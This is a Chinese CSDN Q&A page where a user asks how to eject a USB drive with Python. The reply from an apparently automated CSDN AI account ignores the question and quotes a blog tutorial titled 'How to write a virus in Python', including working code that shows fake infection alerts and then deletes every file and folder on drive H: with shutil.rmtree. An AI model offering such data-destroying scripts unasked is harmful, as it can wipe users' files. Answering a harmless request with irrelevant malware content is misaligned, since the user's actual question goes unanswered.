阿超哥哥呀 2023-05-09 10:19 采纳率: 66.7%
浏览 14

使用python代码如何实现卸载U盘

python代码编写打开设备管理器,后执行卸载USB大容量存储设备。

img

  • 写回答

1条回答 默认 最新

  • CSDN-Ada助手 CSDN-AI 官方账号 2023-05-10 12:24
    关注
    不知道你这个问题是否已经解决, 如果还没有解决的话:
    • 看下这篇博客,也许你就懂了,链接:python读写USB端口
    • 除此之外, 这篇博客: 如何用Python写病毒中的 如何用Python写病毒–USB病毒篇 部分也许能够解决你的问题, 你可以仔细阅读以下内容或者直接跳转源博客中阅读:

      人生苦短,我用Python!

      hello 大家好!我是Mark,一个姓马名克的中国人。

      最近呢,又有小伙伴问Mark了,“Mark,你会不会写病毒呀!”,我一听完,愣了一下,问他:“写病毒干啥?”

      “哎呀,没什么,我只是想试一下而已”
      “喝,这简单!”

      没错,这确实很简单。
      所以,今天Mark就跟大家分享一下,如何通过Python写一个病毒

      (注意一下,今天分享的这个病毒会删除文件,谨慎使用,这里分享只供学习交流)

      一、环境搭建

      本程序用Python编写,不会Python的小伙伴可以参照这篇博客

      传送门!

      我自己的环境是windows10,64位pycharmPython3.7

      二、撸代码!

      接下来,就可以开始写代码了!(本文不需要任何Python基础)

      首先,上代码:

      import os
      import tkinter.messagebox
      import shutil
      

      这里很好理解,导入一些模块。

      那么,会有零基础的朋友问了,什么是模块?

      模块,就相当于文具盒

      为什么这么比喻呢?

      很简单,写一个代码,写一个程序,是不是就像完成一项作业?那么,完成作业需要什么呢?

      没错,需要本子和笔。
      那么现在,我们有了编辑器,是不是就有了本子,那笔去哪里了呢?

      对了,笔在笔盒里面,而模块就是这个文具盒,模块当中所拥有的方法和属性,就相当于文具盒当中的橡皮呀,尺子呀,铅笔呀,钢笔……

      所以,我们如果要用里面的笔,就必须要拿出这个文具盒,明白了?

      接下来,继续上代码!

      root = tkinter.Tk()
      root.withdraw()
      

      这个的作用是消除 tkinter 模块在运行时出现的主窗口。

      其中

      root = tkinter.Tk()
      

      是定义变量名,
      定义变量名更好理解了,大致可以理解为

      给一个东西起一个新名字,更加简短,明了

      下一行

      root.withdraw()
      

      是使用 tkinter 模块当中的一个方法,使其消除主窗口,也就是

      从文具盒当中拿出一支笔,去使用它

      接下来,下一段代码:

      tkinter.messagebox.showerror('错误', '电脑被病毒感染!')
      tkinter.messagebox.showwarning('警告', 'H盘文件已被删除!')
      

      这个代码也是调用 tkinter 模块当中的功能,运行起来是这样的:
      运行
      然后,看下一段代码

      filepath = os.listdir('H:\\')
      

      这一行代码调用 os 模块,读取H盘下所有文件

      res = len(filepath)
      

      这一行,获取H盘下文件的数量

      while res != 0:
          res -= 1
          sen = 'H:/' + str(filepath[res])
          shutil.rmtree(sen)
      

      这是一个 while 语句,也就是循环语句,意思是当 res 这个变量不等于零的时候,执行下面的代码,一遍又一遍,直到 res 等于 0。

      在这个循环语句当中,sen 变量储存了H盘下面所有文件的绝对路径。

      最后一行,通过 shutil 模块中的 rmtree方法,删除 sen 目录下的所有文件

      好了,最后贴一张整体图

      整体感知
      然后是运行效果图

      5.1.病毒运行演示


    如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^
    评论

报告相同问题?

问题事件

  • 修改了问题 5月10日
  • 修改了问题 5月9日
  • 创建了问题 5月9日